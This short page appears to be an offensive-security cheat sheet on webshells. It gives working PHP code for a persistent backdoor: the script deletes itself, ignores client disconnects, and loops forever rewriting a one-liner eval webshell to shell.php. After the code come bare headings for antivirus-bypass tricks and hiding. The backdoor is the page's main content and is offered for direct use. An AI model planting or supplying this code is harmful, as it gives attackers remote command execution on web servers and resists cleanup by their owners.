Webshell
PHP Backdoor
<?php
// Let the script keeps executing even if client disconnects
ignore_user_abort(true);
// Disable script execution time limitation
set_time_limit(0);
// Delete this file iteself
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
// Keep writing PHP one-liner backdoor into the file
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>Antivirus Bypass
Idea 1: Define a constant
Idea 2: Define a function
Idea 3: Define a class
Idea 4: Parameter
Idea 5: get_defined_functions()
Hidding
Last updated